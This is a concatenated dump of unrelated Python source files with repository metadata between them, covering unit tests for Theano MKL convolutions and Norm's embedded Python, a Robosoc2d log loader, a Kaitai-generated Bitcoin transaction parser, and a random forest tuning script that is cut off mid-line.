self.assertEqual('Windows', browser.os) self.assertEqual('8.1', browser.os_version) def test_from_string_with_os_and_browser(self): browsers = Browser.from_string("win8.1/ie11") self.assertEqual([Browser('Windows', '8.1', "IE", '11.0')], browsers) def test_safe_name(self): browser = Browser('Windows', '7', "IE", '8.0') self.assertEqual("windows_7_ie_8_0", browser.safe_name()) def test_as_string(self): browser = Browser('Windows', '7', 'IE', '8.0') self.assertEqual('Windows 7 IE 8.0', str(browser)) if __name__ == '__main__': unittest.main()

0

3,286

0

25

68

23198638402b93bfa4324851435640a23d8cb61f

4,889

py

Python

logplayer/r2files.py

rug/robosoc2d

7a018f8ef6974f96a44df018b8adb185e2c07c63

[ "MIT" ]

null

logplayer/r2files.py

rug/robosoc2d

7a018f8ef6974f96a44df018b8adb185e2c07c63

[ "MIT" ]

null

logplayer/r2files.py

rug/robosoc2d

7a018f8ef6974f96a44df018b8adb185e2c07c63

[ "MIT" ]

null

36.214815

77

0.55676

# (c) 2021 Ruggero Rossi # Load a Robosoc2d game state log # supported version: 1.0.0 def load_state_log(file_name): history = None with open(file_name, 'r') as f: game={} version=f.readline() if len(version)==0 : return None game['ver']=version game['team1_name']=f.readline().strip() if len(game['team1_name']) == 0: game['team1_name'] = "Team A" game['team2_name']=f.readline().strip() if len(game['team2_name']) == 0: game['team2_name'] = "Team B" players=f.readline() if len(players)==0 : return None players= players.split(',') if len(players)<2: return None game['n_players']=[] if players[0].isdigit(): game['n_players'].append(int(players[0])) else: return None players[1]=players[1].strip('\n') if players[1].isdigit(): game['n_players'].append(int(players[1])) else: return None settings=f.readline() if len(settings)==0 : return None settings=settings.split(',') if len(settings) < 34 : return None sett={} sett['ticks_per_time']=int(settings[0]) sett['pitch_length']=float(settings[1]) sett['pitch_width']=float(settings[2]) sett['goal_width']=float(settings[3]) sett['center_radius']=float(settings[4]) sett['pole_radius']=float(settings[5]) sett['ball_radius']=float(settings[6]) sett['player_radius']=float(settings[7]) sett['catch_radius']=float(settings[8]) sett['catch_holding_ticks']=int(settings[9]) sett['kick_radius']=float(settings[10]) sett['kickable_distance']=float(settings[11]) sett['catchable_distance']=float(settings[12]) sett['kickable_angle']=float(settings[13]) sett['kickable_direction_angle']=float(settings[14]) sett['catchable_angle']=float(settings[15]) sett['net_length']=float(settings[16]) sett['catchable_area_length']=float(settings[17]) sett['catchable_area_width']=float(settings[18]) sett['corner_min_distance']=float(settings[19]) sett['throwin_min_distance']=float(settings[20]) sett['out_pitch_limit']=float(settings[21]) sett['max_dash_power']=float(settings[22]) sett['max_kick_power']=float(settings[23]) sett['player_velocity_decay']=float(settings[24]) sett['ball_velocity_decay']=float(settings[25]) sett['max_player_speed']=float(settings[26]) sett['max_ball_speed']=float(settings[27]) sett['catch_probability']=float(settings[28]) sett['player_random_noise']=float(settings[29]) sett['player_direction_noise']=float(settings[30]) sett['player_velocity_direction_mix']=float(settings[31]) sett['ball_inside_player_velocity_displace']=float(settings[32]) sett['after_catch_distance']=float(settings[33].strip('\n')) game['sett']=sett ticks=[] min_line_len=offset=8+game['n_players'][0]*5+game['n_players'][1]*5+4 default_empty=[0]*min_line_len prev_tick=default_empty for tick in f: tick=tick.split(',') if len(tick) < min_line_len: print("* error: missing data at tick: "+str(len(ticks))) tick=prev_tick t={} t['score1']=int(tick[1]) t['score2']=int(tick[2]) t['state']=int(tick[3]) t['ball_x']=float(tick[4]) t['ball_y']=float(tick[5]) t['ball_velocity_x']=float(tick[6]) t['ball_velocity_y']=float(tick[7]) t['teams']=[[],[]] offset=game['n_players'][0]*5 for which_team in range(2): for i in range(game['n_players'][which_team]): p={} p['x']=float(tick[i*5+8+offset*which_team]) p['y']=float(tick[i*5+9+offset*which_team]) p['velocity_x']=float(tick[i*5+10+offset*which_team]) p['velocity_y']=float(tick[i*5+11+offset*which_team]) p['direction']=float(tick[i*5+12+offset*which_team]) t['teams'][which_team].append(p) offset=(game['n_players'][0]+game['n_players'][1])*5 t['last_touched_team2']=bool(int(tick[8+offset])) t['starting_team_max_range']=float(tick[9+offset]) t['ball_catched']=int(tick[10+offset]) t['ball_catched_team2']=bool(int(tick[11+offset].strip('\n'))) ticks.append(t) prev_tick=tick game['ticks']=ticks history=game return history

0

4,781

0

23

6d78cbb20f53042b0737e27a57734137bf0a0e4c

8,198

py

Python

theano/sandbox/mkl/tests/test_conv.py

intel/Theano-dev

6ca6fd4646f9e958058c7bce52cd51923c05c2f4

[ "BSD-3-Clause" ]

64

2016-10-02T20:41:56.000Z

2020-03-11T14:59:40.000Z

theano/sandbox/mkl/tests/test_conv.py

intel/Theano-dev

6ca6fd4646f9e958058c7bce52cd51923c05c2f4

[ "BSD-3-Clause" ]

4

2017-06-12T05:12:38.000Z

2018-03-15T03:16:30.000Z

theano/sandbox/mkl/tests/test_conv.py

intel/Theano-dev

6ca6fd4646f9e958058c7bce52cd51923c05c2f4

[ "BSD-3-Clause" ]

30

2016-10-27T21:59:00.000Z

2021-02-20T09:55:14.000Z

import theano import unittest import numpy from nose.plugins.skip import SkipTest from theano.sandbox import mkl numpy.random.seed(123) if not mkl.mkl_available: raise SkipTest('Optional package MKL disabled') if theano.config.mode == 'FAST_COMPILE': mode_with_mkl = theano.compile.mode.get_mode('FAST_RUN').including('mkl') mode_without_mkl = theano.compile.mode.get_mode('FAST_RUN').excluding('mkl') else: mode_with_mkl = theano.compile.mode.get_default_mode().including('mkl') mode_without_mkl = theano.compile.mode.get_default_mode().excluding('mkl') if __name__ == '__main__': unittest.main()

44.797814

123

0.639302

import theano import unittest import numpy from nose.plugins.skip import SkipTest from theano import tensor as T from theano.tensor.nnet import conv2d from theano.sandbox import mkl from theano.sandbox.mkl.basic_ops import U2IConv, I2U from theano.sandbox.mkl.mkl_conv import Conv2D numpy.random.seed(123) if not mkl.mkl_available: raise SkipTest('Optional package MKL disabled') if theano.config.mode == 'FAST_COMPILE': mode_with_mkl = theano.compile.mode.get_mode('FAST_RUN').including('mkl') mode_without_mkl = theano.compile.mode.get_mode('FAST_RUN').excluding('mkl') else: mode_with_mkl = theano.compile.mode.get_default_mode().including('mkl') mode_without_mkl = theano.compile.mode.get_default_mode().excluding('mkl') class test_mkl_conv_forward(unittest.TestCase): def test_conv_U2I(self): images = T.dtensor4('inputs') a_internal = U2IConv(imshp=(12, 3, 256, 256), kshp=(12, 3, 3, 3))(images) out = I2U()(a_internal) fopt = theano.function([images], out, mode=mode_with_mkl) ival = numpy.random.rand(12, 3, 256, 256).astype(numpy.float64) assert numpy.allclose(fopt(ival), ival) def test_conv_no_bias(self): images = T.dtensor4('inputs') weights = T.dtensor4('weights') images_internal = U2IConv(imshp=(12, 3, 256, 256), kshp=(12, 3, 3, 3))(images) convOut_internal = Conv2D(imshp=(12, 3, 256, 256), kshp=(12, 3, 3, 3), filter_flip=False)(images_internal, weights) convOut_user = I2U()(convOut_internal) ival = numpy.random.rand(12, 3, 256, 256).astype(numpy.float64) wval = numpy.random.rand(12, 3, 3, 3).astype(numpy.float64) fopt = theano.function(inputs=[images, weights], outputs=convOut_user, mode=mode_with_mkl) new_out = fopt(ival, wval) convOut = conv2d(images, weights, input_shape=(12, 3, 256, 256), filter_shape=(12, 3, 3, 3), filter_flip=False) fori = theano.function(inputs=[images, weights], outputs=convOut, mode=mode_without_mkl) old_out = fori(ival, wval) assert str(fopt.maker.fgraph.toposort()) != str(fori.maker.fgraph.toposort()) assert numpy.allclose(old_out, new_out) def test_conv_with_bias(self): images = T.dtensor4('inputs') weights = T.dtensor4('weights') bias = T.dvector('bias') ishape = [(8, 3, 256, 256), (16, 3, 256, 256), (32, 3, 256, 256), (64, 3, 256, 256)] wshape = [(8, 3, 3, 3), (16, 3, 3, 3), (32, 3, 3, 3), (64, 3, 3, 3)] for i, ish in enumerate(ishape): wsh = wshape[i] images_internal = U2IConv(imshp=ish, kshp=wsh)(images) convOutBias_internal = Conv2D(imshp=ish, kshp=wsh, filter_flip=False)(images_internal, weights, bias) convOutBias_user = I2U()(convOutBias_internal) ival = numpy.random.rand(*ish).astype(numpy.float64) wval = numpy.random.rand(*wsh).astype(numpy.float64) bval = numpy.random.rand(wsh[0]).astype(numpy.float64) fopt = theano.function(inputs=[images, weights, bias], outputs=convOutBias_user, mode=mode_with_mkl) new_old = fopt(ival, wval, bval) convOut = conv2d(images, weights, input_shape=ish, filter_shape=wsh, filter_flip=False) convOutBias = convOut + bias.dimshuffle('x', 0, 'x', 'x') fori = theano.function(inputs=[images, weights, bias], outputs=convOutBias, mode=mode_without_mkl) old_out = fori(ival, wval, bval) assert str(fopt.maker.fgraph.toposort()) != str(fori.maker.fgraph.toposort()) assert numpy.allclose(old_out, new_old) def test_no_shape(self): images = T.dtensor4('inputs') weights = T.dtensor4('weights') convOut = conv2d(images, weights, filter_shape=(12, 3, 3, 3), filter_flip=False) fopt = theano.function(inputs=[images, weights], outputs=convOut, mode=mode_with_mkl) fori = theano.function(inputs=[images, weights], outputs=convOut, mode=mode_without_mkl) # No optimization for the case image shape is None assert all([not isinstance(n, (Conv2D, U2IConv, I2U)) for n in fopt.maker.fgraph.toposort()]) assert str(fopt.maker.fgraph.toposort()) == str(fori.maker.fgraph.toposort()) class test_mkl_conv_backward(unittest.TestCase): def test_conv_no_bias(self): images = T.dtensor4('input_conv') weights = T.dtensor4('weights') images_internal = U2IConv(imshp=(12, 3, 256, 256), kshp=(12, 3, 3, 3))(images) convOut = Conv2D(imshp=(12, 3, 256, 256), kshp=(12, 3, 3, 3), filter_flip=False)(images_internal, weights) convOut_user = I2U()(convOut) convOutLoss = T.mean(convOut_user) conv_op_di = T.grad(convOutLoss, images) conv_op_dk = T.grad(convOutLoss, weights) convOutBack = [conv_op_di, conv_op_dk] ival = numpy.random.rand(12, 3, 256, 256).astype(numpy.float64) wval = numpy.random.rand(12, 3, 3, 3).astype(numpy.float64) fopt = theano.function(inputs=[images, weights], outputs=convOutBack, mode=mode_with_mkl) new_out = fopt(ival, wval) convOut = conv2d(images, weights, input_shape=(12, 3, 256, 256), filter_shape=(12, 3, 3, 3), filter_flip=False) convOutLoss = T.mean(convOut) conv_op_di = T.grad(convOutLoss, images) conv_op_dk = T.grad(convOutLoss, weights) convOutBack = [conv_op_di, conv_op_dk] fori = theano.function(inputs=[images, weights], outputs=convOutBack, mode=mode_without_mkl) old_out = fori(ival, wval) assert len(fopt.maker.fgraph.toposort()) != len(fori.maker.fgraph.toposort()) assert numpy.allclose(old_out[0], new_out[0]) assert new_out[0].dtype == 'float64' # weightsGrad Layout is different. # assert numpy.allclose(old_out[1], new_out[1]) def test_conv_with_bias(self): images = T.dtensor4('input_conv') weights = T.dtensor4('weights') bias = T.dvector('bias') ishape = [(8, 3, 256, 256), (16, 3, 256, 256), (32, 3, 256, 256), (64, 3, 256, 256)] wshape = [(8, 3, 3, 3), (16, 3, 3, 3), (32, 3, 3, 3), (64, 3, 3, 3)] for i, ish in enumerate(ishape): wsh = wshape[i] images_internal = U2IConv(imshp=ish, kshp=wsh)(images) convOut = Conv2D(imshp=ish, kshp=wsh, filter_flip=False)(images_internal, weights, bias) convOut_user = I2U()(convOut) convOutLoss = T.mean(convOut_user) conv_op_di = theano.grad(convOutLoss, images) conv_op_dk = theano.grad(convOutLoss, weights) conv_op_db = theano.grad(convOutLoss, bias) convOutBack = [conv_op_di, conv_op_dk, conv_op_db] ival = numpy.random.rand(*ish).astype(numpy.float64) wval = numpy.random.rand(*wsh).astype(numpy.float64) bval = numpy.random.rand(wsh[0]).astype(numpy.float64) - numpy.random.rand(wsh[0]).astype(numpy.float64) fopt = theano.function(inputs=[images, weights, bias], outputs=convOutBack, mode=mode_with_mkl) new_out = fopt(ival, wval, bval) convOut = conv2d(images, weights, input_shape=ish, filter_shape=wsh, filter_flip=False) convOutLoss = T.mean(convOut + bias.dimshuffle('x', 0, 'x', 'x')) conv_op_di = theano.grad(convOutLoss, images) conv_op_dk = theano.grad(convOutLoss, weights) conv_op_db = theano.grad(convOutLoss, bias) convOutBack = [conv_op_di, conv_op_dk, conv_op_db] fori = theano.function(inputs=[images, weights, bias], outputs=convOutBack, mode=mode_without_mkl) old_out = fori(ival, wval, bval) assert len(fopt.maker.fgraph.toposort()) != len(fori.maker.fgraph.toposort()) assert numpy.allclose(old_out[0], new_out[0]) # assert numpy.allclose(old_out[1], new_out[1]) assert numpy.allclose(old_out[2], new_out[2]) assert new_out[0].dtype == 'float64' assert new_out[2].dtype == 'float64' if __name__ == '__main__': unittest.main()

0

7,353

0

82

134

0a99668876349e7b2f9a56a2f17351b4ba01af2a

3,837

py

Python

tests/python_tests.py

reasoned-ai/norm

5e45d5917ce8745c9a757a0c6b5e689ea0cac19f

[ "Apache-2.0" ]

8

2019-07-22T08:57:20.000Z

2021-03-26T13:51:02.000Z

tests/python_tests.py

xumiao/norm

5e45d5917ce8745c9a757a0c6b5e689ea0cac19f

[ "Apache-2.0" ]

null

tests/python_tests.py

xumiao/norm

5e45d5917ce8745c9a757a0c6b5e689ea0cac19f

[ "Apache-2.0" ]

1

2019-11-16T13:37:35.000Z

"""Unit tests for embedding Python code"""

30.696

70

0.484754

"""Unit tests for embedding Python code""" import datetime from pandas import DataFrame from tests.utils import NormTestCase class PythonTestCase(NormTestCase): def test_python_declaration(self): script = """ test := {{ from datetime import datetime test = datetime.utcnow }}; """ self.execute(script) lam = self.execute("test;") self.assertTrue(lam is not None) def test_python_query(self): script = """ test := {{ from datetime import datetime test = datetime.utcnow }}; """ self.execute(script) result = self.execute("test();") self.assertTrue(result is not None) self.assertTrue(isinstance(result, datetime.datetime)) def test_python_query_on_data(self): script = """ test := {{ import numpy as np test = np.sin }}; """ self.execute(script) script = """ a := (1, 2, 3) | (1.1, 2.2, 3.3) | (0.1, 0.2, 0.3) ; """ self.execute(script) result = self.execute("test(a());") self.assertTrue(result is not None) def test_python_custom_function(self): script = """ test := {{ def test(x): return '{}-{}'.format(x.b, x.c) }}; """ self.execute(script) script = """ a(b:String, c:String) := ("store", "truth") | ("having", "evil") ; """ self.execute(script) result = self.execute("test(a());") self.assertTrue(result is not None) self.assertTrue(isinstance(result, DataFrame)) def test_python_function_projection(self): script = """ utcnow := {{ from datetime import datetime utcnow = datetime.utcnow }}; """ self.execute(script) script = """ a(b:String, c:String) := ("store", "truth") | ("having", "evil") ; """ self.execute(script) lam = self.execute("a &= utcnow()?time;") self.assertTrue(lam is not None) self.assertTrue(isinstance(lam.data, DataFrame)) self.assertTrue(lam.data['time'] is not None) def test_python_function_projection2(self): script = """ gaussian := {{ import numpy as np def gaussian(v): return np.exp(-v*v / 2)/np.sqrt(2*np.pi) }}; """ self.execute(script) script = """ a(v: Float, mu: Float) := (1.2, 2.3) | (1.0, 2.0) ; """ self.execute(script) lam = self.execute("a &= gaussian(v)?p;") self.assertTrue(lam is not None) self.assertTrue(isinstance(lam.data, DataFrame)) self.assertTrue(lam.data['p'] is not None) def test_python_code_expression(self): self.execute("test(a: String, b: Integer);") import pandas as pd t1 = pd.DataFrame(data={'a': ['a', 'b', 'c'], 'b': [1, 2, 3]}) self.executor.python_context = locals() lam = self.execute("test(a: String, b: Integer) := {{ t1 }};") self.assertTrue(lam is not None) self.assertTrue(all(lam.data['a'] == ['a', 'b', 'c'])) self.assertTrue(all(lam.data['b'] == [1, 2, 3])) t2 = t1 t2.loc[1, 'a'] = 'e' self.executor.python_context = locals() lam = self.execute("test := {{ t2 }};") self.assertTrue(lam is not None) self.assertTrue(all(lam.data['a'] == ['a', 'e', 'c'])) self.assertTrue(all(lam.data['b'] == [1, 2, 3]))

0

3,686

0

16

91

0a67f4076fdfe5bc717c7292a9258ff71ce35595

10,696

py

Python

src/hobbits-plugins/analyzers/KaitaiStruct/ksy_py/network/bitcoin_transaction.py

SabheeR/hobbits

8bfb997940c73467af2ceb0275c470b763d2c1bf

[ "MIT" ]

304

2020-02-07T21:05:22.000Z

2022-03-24T05:30:37.000Z

src/hobbits-plugins/analyzers/KaitaiStruct/ksy_py/network/bitcoin_transaction.py

SabheeR/hobbits

8bfb997940c73467af2ceb0275c470b763d2c1bf

[ "MIT" ]

2,107

2019-11-05T09:26:16.000Z

2022-02-14T13:35:36.000Z

src/hobbits-plugins/analyzers/KaitaiStruct/ksy_py/network/bitcoin_transaction.py

SabheeR/hobbits

8bfb997940c73467af2ceb0275c470b763d2c1bf

[ "MIT" ]

30

2020-03-11T14:36:43.000Z

2022-03-07T04:45:17.000Z

# This is a generated file! Please edit source .ksy file and use kaitai-struct-compiler to rebuild from pkg_resources import parse_version import kaitaistruct if parse_version(kaitaistruct.__version__) < parse_version('0.9'): raise Exception("Incompatible Kaitai Struct Python API: 0.9 or later is required, but you have %s" % (kaitaistruct.__version__))

50.691943

164

0.553291

# This is a generated file! Please edit source .ksy file and use kaitai-struct-compiler to rebuild from pkg_resources import parse_version import kaitaistruct from kaitaistruct import KaitaiStruct, KaitaiStream, BytesIO import collections from enum import Enum if parse_version(kaitaistruct.__version__) < parse_version('0.9'): raise Exception("Incompatible Kaitai Struct Python API: 0.9 or later is required, but you have %s" % (kaitaistruct.__version__)) class BitcoinTransaction(KaitaiStruct): """ .. seealso:: Source - https://bitcoin.org/en/developer-guide#transactions https://en.bitcoin.it/wiki/Transaction """ SEQ_FIELDS = ["version", "num_vins", "vins", "num_vouts", "vouts", "locktime"] def __init__(self, _io, _parent=None, _root=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._debug = collections.defaultdict(dict) def _read(self): self._debug['version']['start'] = self._io.pos() self.version = self._io.read_u4le() self._debug['version']['end'] = self._io.pos() self._debug['num_vins']['start'] = self._io.pos() self.num_vins = self._io.read_u1() self._debug['num_vins']['end'] = self._io.pos() self._debug['vins']['start'] = self._io.pos() self.vins = [None] * (self.num_vins) for i in range(self.num_vins): if not 'arr' in self._debug['vins']: self._debug['vins']['arr'] = [] self._debug['vins']['arr'].append({'start': self._io.pos()}) _t_vins = BitcoinTransaction.Vin(self._io, self, self._root) _t_vins._read() self.vins[i] = _t_vins self._debug['vins']['arr'][i]['end'] = self._io.pos() self._debug['vins']['end'] = self._io.pos() self._debug['num_vouts']['start'] = self._io.pos() self.num_vouts = self._io.read_u1() self._debug['num_vouts']['end'] = self._io.pos() self._debug['vouts']['start'] = self._io.pos() self.vouts = [None] * (self.num_vouts) for i in range(self.num_vouts): if not 'arr' in self._debug['vouts']: self._debug['vouts']['arr'] = [] self._debug['vouts']['arr'].append({'start': self._io.pos()}) _t_vouts = BitcoinTransaction.Vout(self._io, self, self._root) _t_vouts._read() self.vouts[i] = _t_vouts self._debug['vouts']['arr'][i]['end'] = self._io.pos() self._debug['vouts']['end'] = self._io.pos() self._debug['locktime']['start'] = self._io.pos() self.locktime = self._io.read_u4le() self._debug['locktime']['end'] = self._io.pos() class Vin(KaitaiStruct): SEQ_FIELDS = ["txid", "output_id", "len_script", "script_sig", "end_of_vin"] def __init__(self, _io, _parent=None, _root=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._debug = collections.defaultdict(dict) def _read(self): self._debug['txid']['start'] = self._io.pos() self.txid = self._io.read_bytes(32) self._debug['txid']['end'] = self._io.pos() self._debug['output_id']['start'] = self._io.pos() self.output_id = self._io.read_u4le() self._debug['output_id']['end'] = self._io.pos() self._debug['len_script']['start'] = self._io.pos() self.len_script = self._io.read_u1() self._debug['len_script']['end'] = self._io.pos() self._debug['script_sig']['start'] = self._io.pos() self._raw_script_sig = self._io.read_bytes(self.len_script) _io__raw_script_sig = KaitaiStream(BytesIO(self._raw_script_sig)) self.script_sig = BitcoinTransaction.Vin.ScriptSignature(_io__raw_script_sig, self, self._root) self.script_sig._read() self._debug['script_sig']['end'] = self._io.pos() self._debug['end_of_vin']['start'] = self._io.pos() self.end_of_vin = self._io.read_bytes(4) self._debug['end_of_vin']['end'] = self._io.pos() if not self.end_of_vin == b"\xFF\xFF\xFF\xFF": raise kaitaistruct.ValidationNotEqualError(b"\xFF\xFF\xFF\xFF", self.end_of_vin, self._io, u"/types/vin/seq/4") class ScriptSignature(KaitaiStruct): class SighashType(Enum): sighash_all = 1 sighash_none = 2 sighash_single = 3 sighash_anyonecanpay = 80 SEQ_FIELDS = ["len_sig_stack", "der_sig", "sig_type", "len_pubkey_stack", "pubkey"] def __init__(self, _io, _parent=None, _root=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._debug = collections.defaultdict(dict) def _read(self): self._debug['len_sig_stack']['start'] = self._io.pos() self.len_sig_stack = self._io.read_u1() self._debug['len_sig_stack']['end'] = self._io.pos() self._debug['der_sig']['start'] = self._io.pos() self.der_sig = BitcoinTransaction.Vin.ScriptSignature.DerSignature(self._io, self, self._root) self.der_sig._read() self._debug['der_sig']['end'] = self._io.pos() self._debug['sig_type']['start'] = self._io.pos() self.sig_type = KaitaiStream.resolve_enum(BitcoinTransaction.Vin.ScriptSignature.SighashType, self._io.read_u1()) self._debug['sig_type']['end'] = self._io.pos() self._debug['len_pubkey_stack']['start'] = self._io.pos() self.len_pubkey_stack = self._io.read_u1() self._debug['len_pubkey_stack']['end'] = self._io.pos() self._debug['pubkey']['start'] = self._io.pos() self.pubkey = BitcoinTransaction.Vin.ScriptSignature.PublicKey(self._io, self, self._root) self.pubkey._read() self._debug['pubkey']['end'] = self._io.pos() class DerSignature(KaitaiStruct): SEQ_FIELDS = ["sequence", "len_sig", "sep_1", "len_sig_r", "sig_r", "sep_2", "len_sig_s", "sig_s"] def __init__(self, _io, _parent=None, _root=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._debug = collections.defaultdict(dict) def _read(self): self._debug['sequence']['start'] = self._io.pos() self.sequence = self._io.read_bytes(1) self._debug['sequence']['end'] = self._io.pos() if not self.sequence == b"\x30": raise kaitaistruct.ValidationNotEqualError(b"\x30", self.sequence, self._io, u"/types/vin/types/script_signature/types/der_signature/seq/0") self._debug['len_sig']['start'] = self._io.pos() self.len_sig = self._io.read_u1() self._debug['len_sig']['end'] = self._io.pos() self._debug['sep_1']['start'] = self._io.pos() self.sep_1 = self._io.read_bytes(1) self._debug['sep_1']['end'] = self._io.pos() if not self.sep_1 == b"\x02": raise kaitaistruct.ValidationNotEqualError(b"\x02", self.sep_1, self._io, u"/types/vin/types/script_signature/types/der_signature/seq/2") self._debug['len_sig_r']['start'] = self._io.pos() self.len_sig_r = self._io.read_u1() self._debug['len_sig_r']['end'] = self._io.pos() self._debug['sig_r']['start'] = self._io.pos() self.sig_r = self._io.read_bytes(self.len_sig_r) self._debug['sig_r']['end'] = self._io.pos() self._debug['sep_2']['start'] = self._io.pos() self.sep_2 = self._io.read_bytes(1) self._debug['sep_2']['end'] = self._io.pos() if not self.sep_2 == b"\x02": raise kaitaistruct.ValidationNotEqualError(b"\x02", self.sep_2, self._io, u"/types/vin/types/script_signature/types/der_signature/seq/5") self._debug['len_sig_s']['start'] = self._io.pos() self.len_sig_s = self._io.read_u1() self._debug['len_sig_s']['end'] = self._io.pos() self._debug['sig_s']['start'] = self._io.pos() self.sig_s = self._io.read_bytes(self.len_sig_s) self._debug['sig_s']['end'] = self._io.pos() class PublicKey(KaitaiStruct): SEQ_FIELDS = ["type", "x", "y"] def __init__(self, _io, _parent=None, _root=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._debug = collections.defaultdict(dict) def _read(self): self._debug['type']['start'] = self._io.pos() self.type = self._io.read_u1() self._debug['type']['end'] = self._io.pos() self._debug['x']['start'] = self._io.pos() self.x = self._io.read_bytes(32) self._debug['x']['end'] = self._io.pos() self._debug['y']['start'] = self._io.pos() self.y = self._io.read_bytes(32) self._debug['y']['end'] = self._io.pos() class Vout(KaitaiStruct): SEQ_FIELDS = ["amount", "len_script", "script_pub_key"] def __init__(self, _io, _parent=None, _root=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._debug = collections.defaultdict(dict) def _read(self): self._debug['amount']['start'] = self._io.pos() self.amount = self._io.read_u8le() self._debug['amount']['end'] = self._io.pos() self._debug['len_script']['start'] = self._io.pos() self.len_script = self._io.read_u1() self._debug['len_script']['end'] = self._io.pos() self._debug['script_pub_key']['start'] = self._io.pos() self.script_pub_key = self._io.read_bytes(self.len_script) self._debug['script_pub_key']['end'] = self._io.pos()

0

10,206

0

36

89

3a917aec646616b14d05103f2a853a51a6359d7f

459

py

Python

gitup/test/test_bookmarks.py

hr157/git-repo-updater

4ad20a6979226bf066740287accc8239d82a89ec

[ "MIT" ]

772

2015-01-17T09:11:07.000Z

2022-03-23T08:50:31.000Z

gitup/test/test_bookmarks.py

hr157/git-repo-updater

4ad20a6979226bf066740287accc8239d82a89ec

[ "MIT" ]

50

2015-03-12T14:33:51.000Z

2022-03-10T07:58:54.000Z

gitup/test/test_bookmarks.py

hr157/git-repo-updater

4ad20a6979226bf066740287accc8239d82a89ec

[ "MIT" ]

110

2015-01-30T07:27:23.000Z

2021-12-15T07:22:20.000Z

# -*- coding: utf-8 -*- # # Copyright (C) 2011-2018 Ben Kurtovic <[email protected]> # Released under the terms of the MIT License. See LICENSE for details. from __future__ import print_function, unicode_literals

30.6

71

0.736383

# -*- coding: utf-8 -*- # # Copyright (C) 2011-2018 Ben Kurtovic <[email protected]> # Released under the terms of the MIT License. See LICENSE for details. from __future__ import print_function, unicode_literals from gitup import config def test_empty_list(tmpdir, capsys): config_path = tmpdir / "config" config.list_bookmarks(config_path) captured = capsys.readouterr() assert captured.out == "You have no bookmarks to display.\n"

0

190

0

3

46

8d619e7f57b45654b3e4b1e082e471adaafd8081

596

py

Python

benchmark/matrix_product.py

xu3kev/bril

7d21628621b584e1ec09b3960bf9909276ba7f25

[ "MIT" ]

null

benchmark/matrix_product.py

xu3kev/bril

7d21628621b584e1ec09b3960bf9909276ba7f25

[ "MIT" ]

null

benchmark/matrix_product.py

xu3kev/bril

7d21628621b584e1ec09b3960bf9909276ba7f25

[ "MIT" ]

null

from random import randint cg = CG() n=20 c = [[Var("int") for i in range(n)] for i in range(n)] a = [[Var("int") for i in range(n)] for i in range(n)] b = [[Var("int") for i in range(n)] for i in range(n)] m=100 for vs in a: for v in vs: cg.init(v, randint(0,m)) for vs in b: for v in vs: cg.init(v, randint(0,m)) for i in range(n): for j in range(n): cg.init(c[i][j], 0) for k in range(n): tmp = Var("int") cg.op_mul(tmp, a[i][k], b[k][j]) cg.op_add(c[i][j], c[i][j], tmp) cg.print_code()

19.225806

54

0.510067

from cg import * from random import randint cg = CG() n=20 c = [[Var("int") for i in range(n)] for i in range(n)] a = [[Var("int") for i in range(n)] for i in range(n)] b = [[Var("int") for i in range(n)] for i in range(n)] m=100 for vs in a: for v in vs: cg.init(v, randint(0,m)) for vs in b: for v in vs: cg.init(v, randint(0,m)) for i in range(n): for j in range(n): cg.init(c[i][j], 0) for k in range(n): tmp = Var("int") cg.op_mul(tmp, a[i][k], b[k][j]) cg.op_add(c[i][j], c[i][j], tmp) cg.print_code()

0

-5

22

d00adb83565673cb264520ebee0b3eda48e2f0c5

2,523

py

Python

weighted_mean_prediction/random_forest/tuned_rf_model.py

fegb-dataset22/dataset22

6642a01ca7ab9948c9b5ffc3aae1201cd8c72f0b

[ "MIT" ]

null

weighted_mean_prediction/random_forest/tuned_rf_model.py

fegb-dataset22/dataset22

6642a01ca7ab9948c9b5ffc3aae1201cd8c72f0b

[ "MIT" ]

null

weighted_mean_prediction/random_forest/tuned_rf_model.py

fegb-dataset22/dataset22

6642a01ca7ab9948c9b5ffc3aae1201cd8c72f0b

[ "MIT" ]

null

import os.path import matplotlib.pyplot as plt import pandas as pd from sklearn import metrics from sklearn.ensemble import RandomForestRegressor from hyperparameter_tuning.study_functions import load_study from root import ROOT_DIR from weighted_mean_prediction.data_setup import get_encoded_split_data from weighted_mean_prediction.model_storage import load_model if __name__ == "__main__": study_dir = f"{ROOT_DIR}/weighted_mean_prediction/random_forest/studies" study_name = f"rf_study2.joblib" study_path = os.path.join(study_dir, study_name) model_name = "rf2.joblib" model_path = f"{ROOT_DIR}/weighted_mean_prediction/random_forest/models/{model_name}" X_train, X_val, X_test, y_train, y_val, y_test = get_encoded_split_data() X_train = pd.concat([X_train, X_val]) y_train = pd.concat([y_train, y_val]) study = load_study(study_path) rf: RandomForestRegressor = load_model(model_path) if rf is None: rf = train_tuned_model(study.best_params, X_train, y_train["weighted_mean"], model_path) else: if not is_same_params(study.best_params, rf.get_params()): rf = train_tuned_model(study.best_params, X_train, y_train["weighted_mean"], model_path) train_acc = rf.score(X_train, y_train) test_acc = rf.score(X_test, y_test) print(train_acc, test_acc) for idx, importance in enumerate(rf.feature_importances_): print(f"{X_train.columns[idx]} : {importance}") # plot_rf_feature_importances(rf.feature_importances_) predictions = rf.predict(X_test) mape = metrics.mean_absolute_percentage_error(predictions, y_test) mse = metrics.mean_squared_error(predictions, y_test) print("\nMAPE = ", mape) print("MSE = ", mse) plt.scatter(range(len(predictions[:100])), predictions[:100]) plt.scatter(range(len(y_test[:100])), y_test[:100]) plt.show()

37.656716

100

0.738407

import os.path from typing import Dict import matplotlib.pyplot as plt import pandas as pd from sklearn import metrics from sklearn.ensemble import RandomForestRegressor from hyperparameter_tuning.study_functions import load_study from root import ROOT_DIR from weighted_mean_prediction.data_setup import get_encoded_split_data from weighted_mean_prediction.model_storage import load_model, save_model from weighted_mean_prediction.regression_performance import plot_rf_feature_importances def is_same_params(study_params: Dict[str, object], model_params: Dict[str, object]) -> bool: return all([study_params[p] == model_params[p] for p in study_params.keys()]) def train_tuned_model(model_params: Dict[str, object], X_train: pd.DataFrame, y_train: pd.DataFrame, file_path: str) -> RandomForestRegressor: model = RandomForestRegressor(**model_params, random_state=0) model.fit(X_train, y_train) save_model(model, file_path) return model if __name__ == "__main__": study_dir = f"{ROOT_DIR}/weighted_mean_prediction/random_forest/studies" study_name = f"rf_study2.joblib" study_path = 